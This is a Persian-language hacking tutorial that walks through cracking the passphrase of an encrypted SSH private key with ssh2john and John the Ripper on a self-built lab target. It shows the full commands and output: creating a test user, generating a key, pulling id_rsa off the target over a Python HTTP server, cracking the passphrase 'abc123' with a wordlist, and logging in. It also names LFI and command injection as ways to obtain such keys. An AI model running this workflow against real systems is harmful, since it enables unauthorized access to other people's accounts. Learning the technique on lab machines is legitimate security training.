آموزش رمزگشایی رمز عبورهای کلید خصوصی”SSH (private key)” با برنامهی جان ریپر “John the Ripper”
پروتکل پوسته ایمن (SSH) یکی از رایج ترین پروتکلهای شبکه است که معمولا برای مدیریت از راه دور دستگاهها بهواسطه اتصال رمزنگاری شده استفاده میشود. با این حال، SSH میتواند در معرض حملهی بروت فورس قرار گیرد. احراز هویت مبتنی بر کلید بسیار امنتر است و حتی میتوان کلیدهای خصوصی را برای امنیت بیشتر رمزنگاری کرد. اما حتی این کار نیز کاملا مانع آسیب پذیری آن نمیشود زیرا با استفاده از برنامه “جان ریپر” میتوان رمز عبورهای کلید خصوصی SSH را کرک کرد.
احراز هویت مبتنی بر کلید SSH
احراز هویت مبتنی بر رمز عبور یک روش استاندارد اتصال به دستگاه از طریق SSH است. مزیت این روش این است که آسانتر انجام میشود. اما به دلیل آن که میتواند در معرض حملات brute-forcing و حدس زدن رمز قرار گیرد، از نظر امنیتی دچار مشکل است.
از طرف دیگر؛ احراز هویت مبتنی بر کلید، روش رمزنگاری را برای اطمینان از اتصالات ایمن استفاده میکند. یک جفت کلید که از یک کلید عمومی و خصوصی ایجاد شده، کلید خصوصی باید مخفی نگه داشته شود و برای اتصال به سیستمهایی که کلید عمومی منطبق دارند استفاده میشود.
کلید عمومی برای رمزگذاری ارتباطات استفاده میشود و فقط کلید خصوصی مرتبط میتواند آن را رمزگشایی کند. این امر، تقریباً امکان اینکه هکرها “SSH sessions” را به خطر بیاندازند غیرممکن میسازد، مگر اینکه آنها به کلید خصوصی دسترسی داشته باشند.
مراحل زیر با فرض آن است که شما قبلاً از طریق دستگاه محلی خود به یک کامپیوتر هدف دسترسی پیدا کرده اید. من از “کالی لینوکس ” به عنوان سیستم محلی استفاده میکنم.
مقاله زیر هم میتواند برای شما مناسب باشد:
یک کاربر جدید در رایانه هدف ایجاد کنید
برای شروع، بیایید یک کاربر جدید در رایانه هدف به منظور اجرای برنامههای نمایشی ایجاد کنیم. از دستور”adduser” استفاده کنید و یک رمز عبور جدید در پنجره ظاهر شده وارد کنید:
target:~$ sudo adduser nullbyte
Adding user `nullbyte' ...
Adding new group `nullbyte' (1003) ...
Adding new user `nullbyte' (1003) with group `nullbyte' ...
Creating home directory `/home/nullbyte' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
در مرحله بعد، صحت اطلاعات را تأیید کنید. اشکالی پیش نمیآید که همه چیز را خالی بگذارید:
Changing the user information for nullbyte
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [y/N] y
با مشاهدهی” :/etc/passwd” میتوانیم اطمینان حاصل کنیم که کاربر جدید با موفقیت اضافه شده است:
target:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
nullbyte:x:1003:1003:,,,:/home/nullbyte:/bin/bash
اکنون میتوانیم با دستور “su” به کاربر جدید خود سوئیچ کنیم:
target:~$ su - nullbyte
Password:
nullbyte@target:~$
برای مشاهده ویدئو این آموزش به پایین صفحه مراجعه کنید.
یک جفت کلید بر روی سیستم هدف ایجاد کنید
کار بعدی که باید انجام دهیم تولید یک جفت کلید عمومی / خصوصی است. ابزار “ssh-keygen” میتواند به راحتی این کار را برای ما انجام دهد. برای ایجاد فایل در فهرست شخصی خود از مسیر پیش فرض استفاده کنید.
nullbyte@target:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/nullbyte/.ssh/id_rsa):
Created directory 'https://static.liangroup.net/home/nullbyte/.ssh'.
میخواهیم کلید خصوصی رمزگذاری شود، بنابراین مطمئن شوید که یک رمز عبور را در پنجره وارد میکنید (به منظور حفظ سادگی از رمز عبور abc123 استفاده خواهیم کرد):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/nullbyte/.ssh/id_rsa.
Your public key has been saved in /home/nullbyte/.ssh/id_rsa.pub.
The key fingerprint is:
1b:01:68:cc:ea:4f:8e:b5:08:72:17:50:32:1b:98:e6 nullbyte@target
اکنون میتوانیم آن را به دایرکتوری Hidden SSH تغییر دهیم:
nullbyte@target:~$ cd .ssh
و مطمئن شویم که کلیدهای ما آنجا هستند:
nullbyte@target:~/.ssh$ ls -la
total 16
drwx------ 2 nullbyte nullbyte 4096 2019-06-19 13:49 .
drwxr-xr-x 3 nullbyte nullbyte 4096 2019-06-19 13:46 ..
-rw------- 1 nullbyte nullbyte 1743 2019-06-19 13:49 id_rsa
-rw-r--r-- 1 nullbyte nullbyte 405 2019-06-19 13:49 id_rsa.pub
همچنین برای اطمینان از اینکه مجاز به اتصال از طریق دستگاه دیگر هستیم، باید یک فایل “authorized_key” را ایجاد کنیم:
nullbyte@target:~/.ssh$ touch authorized_keys
باید سطح دسترسیهای مناسب را روی آن تنظیم شود تا اطمینان حاصل شود فقط کاربر میتواند فایل را بخواند و بنویسد:
nullbyte@target:~/.ssh$ chmod 600 authorized_keys
کلید عمومی باید در این فایل قرار بگیرد، بنابراین آن را انتخاب کنید:
nullbyte@target:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7IATfm6Y2VDtlEkWNGLJ5r9z9euOD1mHcWeB4vCcY+9M+XTEkILb8gk0/0uaNrLfBgcrZi8Y15wIib8122KYfwVIxVn0kbp5sggo4ZZQ9AXAPsdXyP8iIhCdbu34QkEu+pdq1jjK2QKbJRhRt4woAKGXxpApGfWdbyDdElo001VjjmDIpUwKU695YlF98baOlxgUdtW+zhL8J2W6cABeQEO3pXaiu560mJxSfRX8J++5djHiwJ9LMQAVD8khrvYfmnExeT1CuhNcbxdD/kU64ccV0zhecUQgXR1zEY/tWVdJL8wWfUnHWza2BiYqCeEhIdKGlVLvPUx5LbihLUFdCw== nullbyte@target
آن را در فایل “authorized_keys” کپی کنید و مطمئن شوید که هیچ خطی نصفه نباشد یا فاصله اضافی وجود نداشته باشد:
nullbyte@target:~/.ssh$ nano authorized_keys
کلید خصوصی را وارد سیستم محلی کنید
در این مرحله، باید کلید خصوصی “id_rsa” را در سیستم Local خود وارد کنیم. این امر میتواند از روشهای مختلفی انجام شود، مانند دسترسی داشتن به “LFI”و یا “Command Injection” که به ما اجازه اجرا دستورات را میدهد. به منظور درک بهتر موضوع، از طریق Http اقدام میکنیم.
بررسی نسخه پایتون نصب شده در سیستم را فراموش نکنید:
nullbyte@target:~/.ssh$ which python
/usr/bin/python
با این دستورات میتوانیم یک سرور سریع HTTP ایجاد کنیم:
nullbyte@target:~/.ssh$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
در سیستم Local خود میتوانیم از برنامهی “wget” برای دریافت فایل استفاده کنیم:
~# wget http://10.10.0.50:8000/id_rsa
--2020-04-15 12:19:39-- http://10.10.0.50:8000/id_rsa
Connecting to 10.10.0.50:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1743 (1.7K) [application/octet-stream]
Saving to: ‘id_rsa’
id_rsa 100%[=====================================================================================>] 1.70K --.-KB/s in 0.001s
2020-04-15 12:19:49 (2.18 MB/s) - ‘id_rsa’ saved [1743/1743]
/و محتوای آن را تأیید کنید:
~# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9A447029ABFAC605
WiRuWyOFt8x+eCwBIbRdhpa8pm1YIuBIC1Od73vslxlIcYYkSz8AqCr8k/sus6uY
JHHO6KXjkJCpH/okU9bWGPzQf1cj2jWFf/y7EOSmd1e7RbIA8xWYcAWKPhnvwgnu
z+d6SFSYyj4rkKUvqloclKCblp6M5sCza0YksTzmEJZz/tHWRwHGRG31TvJHiqxQ
n9FpriG5MqZoegcYJgvt+z9rrPNf/jaZZb9ulYwxRn+5nCbWqBilu/Mh5knN608c
uW2UyIlyJ2BpyYrOgqadTkMgIwrwERrbU6LmgVtZXCc6/cACdMwdu6gv17MtfOlM
ytzEZ66aa98EFrFfuFX2LgoOBpi4nAAo3yZ7ISWpWnbnPFzhT89gBAdruh8fo5X4
07gAajsTiJrCW2nZSqBFx4BTAqYP7IcvDv2iAUEg6bfqC2bqpIfjYYcLuy0+YQv4
7uNH9jpT+ZfOY6VK4oG1p+1ieOVothNxcoj0+StUL5i5dQYoW9te8z8+qqswAE9S
aobSSQAUvdNh07XH0TXg+QTsiJGLNMaWmwMBw50WkzJOwN759zuk2b1LbHTpsgbQ
AngfcMfoHOvlhnHZNSbCeDB9SzQwkhLnQ6CktQaQaa5AY/E2ll+/W0Dmr4QEhk7e
z30FE3QqZU7fqxx7esXTMm8z6lvhQNSWRRxsg48rHub+Mq739T+Yi7xK4C9SCzwe
7BYDqp2ekinCf+5OKf3UObNo5Cugb3viapDKHyWulH+dXdxSkLUsgzDoFdFz0H3m
wvc8Qfn0JoVWFxwd1J3B32ZcEIneeGyotrODz5bRmqLv/T7mdM/HRASdonTROEPn
G+Mv65R+MRiAhRIIZO3a8J8eSAzq3AVBuq+gbLabnNvGY2N7KSQ3OBV4XSDYS43R
HuRz2u1GI+sXOr7ZXoQeKbl9qoymRvpppf5kI5IrQBoHGF92GGVLBGJOBg9M/YNc
mLNm9lz2Y+9LmHU6lgq51a7ZfViVFvj+Us63DoSgdyHvC2oj2zWPOFf9Dm4r8aCO
bFS2BFb7UvBd/G2GxnYFKygTHZhPmZ2y/5fBBF5IA/rbQdE5SqC2MJmB0oOgB07v
csqQ5tX8guIxOnh/KHocR/B8Fwf90shrOWoVC0kqGZJN5PrepzPCvoMcJLknC0Q8
eUinaZ0r3UCv7z0gjlz66qWERIMlUczBnLALRf4nVkfP3NHrLinZooGnOh7pkXpm
mg2qTXWnJ+vwfEDb4M0DYOFKa/AxO2wWsCuvc7ZJYvZL2HSWNVl6fRcFTWbrbIr/
ajTfjIclAonNYgGxoDAQKtSSolrNdOquemW79evgdAN/Jtbp5irV3bG0hTcJSIPp
kVBSXe3pslX6BUeOPl9KFT9CNxIjNFZkJ/gUxIV9LOIEcmHCB04iGVFl/KQA2FWD
27fOZbQPG/h4XC6Zm2iGU7ub0FNA2rId1ZRXlE04gYu5g/nmnAOlSbcqcN+xoMmh
L31FphscezkNda/Fw70+y/5buYGSs4tMsUKuiTkZsqSW9j3R9I/7KLHbpKX7fI7n
OURnUxXvDLoXihVQ9kTgTJM6d8pbHYuda4po2IvXWqdnbtHP7Ezz4A==
-----END RSA PRIVATE KEY-----
“SSH2John” را روی سیستم محلی نصب کنید
در صورت نصب نبودن نسخهی “Jumbo” جان ریپر، باید ssh2john را از GitHub دریافت کنیم، زیرا این نسخه که در “کالی لینوکس” موجود است در نسخه جان ریپر نصب نشده. (اگر نسخه جان ریپر را نصب نکردهاید، میتوانید از نحوه نصب آن در its GitHub مطلع شوید).
~# wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
--2020-06-07 12:26:03-- https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7825 (7.6K) [text/plain]
Saving to: ‘ssh2john.py’
ssh2john.py 100%[=====================================================================================>] 7.64K --.-KB/s in 0s
2020-06-07 12:26:04 (21.2 MB/s) - ‘ssh2john.py’ saved [7825/7825]
کلید خصوصی را روی سیستم محلی رمزگشایی کنید
تنها کاری که باید انجام شود رمزگشایی کلید خصوصی است سپس نتایج را با استفاده از ابزار پایتون “ssh2john” به یک فایل “Hash” جدید هدایت کنیم:
~# python ssh2john.py id_rsa > id_rsa.hash
سپس از برنامه جان ریپر برای کرک کردن رمز عبور استفاده خواهیم کرد؛ اما ابتدا، به یک لیست کلمه مناسب نیاز داریم. به منظور حفظ سادگی از یک لیست کلمه کوتاه که شامل رمز عبور ماست استفاده خواهیم کرد. آن را از اینجا دریافت کنید:
~# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt
--2020-06-07 12:30:54-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 81 [text/plain]
Saving to: ‘darkweb2017-top10.txt’
darkweb2017-top10.txt 100%[=====================================================================================>] 81 --.-KB/s in 0s
2020-06-07 12:30:55 (2.28 MB/s) - ‘darkweb2017-top10.txt’ saved [81/81]
حالا جان “ریپر” را مثل همیشه اجرا کنید و لیست کلمه و فایل “Hash” را به آن بدهید:
~# john --wordlist=darkweb2017-top10.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
abc123 (id_rsa)
1g 0:00:00:00 DONE (2020-06-07 12:32) 1.562g/s 15.62p/s 15.62c/s 15.62C/s 123456..123123
Session completed
میتوانیم رمز عبور خود را شناسایی کنیم، اما برای اطمینان، بیایید از دستور “—show” استفاده کنیم تا صحت آن بررسی شود:
~# john --show id_rsa.hash
id_rsa:abc123
1 password hash cracked, 0 left
SSH را وارد سیستم هدف کنید
میتوانیم SSH را با استفاده از دستور “–i” وارد سیستم هدف کنیم تا یک کلید خصوصی برای احراز هویت تعیین کنیم:
~# ssh -i id_rsa nullbyte@10.10.0.50
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
nullbyte@10.10.0.50's password:
و با یک خطا روبرو میشویم. اگر سطح دسترسیها خیلی باز باشد به ما اجازهی استفاده از کلید را نمیدهد، بنابراین تنها کاری که باید انجام دهیم این است که سطح دسترسیها را محدودتر کنیم:
~# chmod 400 id_rsa
اکنون می توانیم متصل شویم. سپس، رمزعبور بازیابی شده را درپنجره وارد کنید و حالا وارد سیستم شدهاید:
~# ssh -i id_rsa nullbyte@10.10.0.50
Enter passphrase for key 'id_rsa':
Linux 2.6.24-16-server #1 SMP Tue July 07 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Fri Jun 19 15:20:16 2020 from 10.10.0.1
nullbyte@target:~$
جمع بندی
در این آموزش با احراز هویت مبتنی بر کلید SSH و نحوهی بازیابی رمز عبورهای کلید خصوصی آشنا شدیم. ابتدا، یک کاربر جدید در سیستم هدف ایجاد کردیم و یک جفت کلید SSH ایجاد کردیم. بعد، کلید خصوصی را از سیستم هدف به دست آوردیم و از ssh2john برای استخراج فایل Hash استفاده کردیم. سرانجام، رمزعبور کلید خصوصی را بازیابی کردیم و از آن برای اتصال به سیستم هدف استفاده کردیم.